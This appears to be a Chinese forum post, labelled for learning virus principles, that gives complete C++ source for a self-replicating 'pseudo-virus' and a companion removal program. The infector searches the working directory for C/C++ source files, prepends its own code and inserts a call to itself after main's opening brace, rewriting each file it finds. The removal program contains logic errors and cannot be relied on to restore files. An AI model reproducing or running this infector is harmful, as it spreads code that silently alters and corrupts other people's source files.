c++伪病毒
- //START
- #include <windows.h>
- #include <fstream>
- #include <string>
- #include <iostream>
- using namespace std;
- //此程序仅供病毒原理学习之用
- //请勿用此程序进行破坏计算机之行为,否则由此引发之后果自负
- //保留所有权利,东北大学秦皇岛分校2009年6月1日
- void vir()
- {
- string CurFileName = __FILE__;//绝对路径
- string obCurFileName //相对路径
- = CurFileName.substr(CurFileName.find_last_of('//') + 1,CurFileName.size()-1);
- WIN32_FIND_DATA FindFileData;
- HANDLE hFind = FindFirstFile("*.c*", &FindFileData);
- string VirusCode[100];//病毒代码
- string FileCode[500]; //宿主代码
- int CodeLen = 0;//病毒代码长度
- int FileLen = 0;//宿主代码长度
- //病毒函数调用应当插在"main("后面的第一个"{"后面
- //在C++中main有int main(),int main(int arg,char **r)等形式
- int InsertLoc = 0;
- //提取待传播的当前文件中的病毒代码
- ifstream VirusFile(obCurFileName.c_str());
- for (CodeLen = 0;getline(VirusFile,VirusCode[CodeLen]);CodeLen++)
- {
- if(VirusCode[CodeLen] == "//END")
- {
- CodeLen++;
- break;
- }
- }
- VirusFile.close();
- //依次感染宿主文件
- while (true)
- {
- //不能感染当前.cpp文件和已感染的文件
- if(strcmp(FindFileData.cFileName,obCurFileName.c_str())== 0)
- {
- cout<<FindFileData.cFileName<<":是感染源!/n";
- }
- else//感染其它文件
- {
- //加载宿主文件
- ifstream ibe(FindFileData.cFileName);
- for(FileLen = 0;getline(ibe,FileCode[FileLen]);FileLen++)
- {
- if (FileCode[FileLen].find("main") != -1)
- {
- InsertLoc = FileLen;
- }
- }
- ibe.close();
- if(FileCode[0] == "//START")//该文件已被感染
- {
- cout<<FindFileData.cFileName<<":已携带了病毒!/n";
- }
- else if (FileLen > 500)
- {
- cout<<FindFileData.cFileName<<":文件太大了!/n";
- }
- else
- {
- //打开宿主文件
- ofstream be(FindFileData.cFileName);
- //插入病毒代码
- for(int i = 0;i < CodeLen;i++)
- {
- be<<VirusCode[i]<<endl;
- }
- //病毒函数调用位置前文本插入
- for(int i = 0;i < InsertLoc;i++)
- {
- be<<FileCode[i]<<endl;
- }
- //插入函数调用vir()
- for(int i = InsertLoc;i < FileLen;i++)
- {
- int j = FileCode[i].find('{');
- if(j != -1)
- {
- FileCode[i].insert(j + 1,"/nvir();");
- break;
- }
- }
- //病毒函数调用位置后插入剩余文本
- for(int i = InsertLoc;i < FileLen;i++)
- {
- be<<FileCode[i]<<endl;
- }
- be.close();
- cout<<FindFileData.cFileName<<":感染成功!/n";
- }
- }
- if (FindNextFile(hFind, &FindFileData) == false) break;
- }
- }
- //END
- int main()
- {
- vir();
- return 0;
- }
- 杀毒程序:
- #include <windows.h>
- #include <fstream>
- #include <string>
- #include <vector>
- #include <iostream>
- using namespace std;
- //此程序仅供病毒原理学习之用
- //请勿用此程序进行破坏计算机之行为,否则由此引发之后果自负
- //保留所有权利,东北大学秦皇岛分校2009年6月1日
- void revir()
- {
- WIN32_FIND_DATA FindFileData;
- HANDLE hFind = FindFirstFile("*.c*", &FindFileData);
- string FileCode[500];
- //病毒函数调用应当插在"main"后面的第一个"{"后面
- //在C++中main有int main(),int main(int arg,char **r)等形式
- //依次清除宿主文件
- while (true)
- {
- //加载文件
- int FileLen = 0; //宿主代码长度
- int MainLoc = 0; //主函数位置
-
- ifstream ibe(FindFileData.cFileName);
- getline(ibe,FileCode[0]);
-
- if(FileCode[0] == "//START")//当前文件被感染过
- {
- //病毒代码要过虑掉
- for(FileLen = 0;getline(ibe,FileCode[0]);)
- {
- if(FileCode[FileLen] == "//END")
- {
- break;
- }
- }
- //宿主未感染前的代码
- for(FileLen = 0;getline(ibe,FileCode[FileLen]);FileLen++)
- {
- if(FileCode[FileLen].find("main") != -1)
- {
- MainLoc = FileLen;
- }
- }
-
- //清除主文件中的函数调用
- for (int i = MainLoc;i < FileLen;i++)
- {
- if(FileCode[i].find('{') != -1)
- {
- FileCode[i + 1] = "";
- break;
- }
- }
- ibe.close();
-
- ofstream be(FindFileData.cFileName);
- for(int i = 0;i < FileLen;i++)
- {
- be<<FileCode[i]<<endl;
- }
- be.close();
- cout<<FindFileData.cFileName<<":病毒清除成功/n";
- }
- cout<<FindFileData.cFileName<<":没有被感染!/n";
- if (FindNextFile(hFind, &FindFileData) == false) break;
- }
- }
- int main()
- {
- revir();
- return 0;
- }
复制代码 |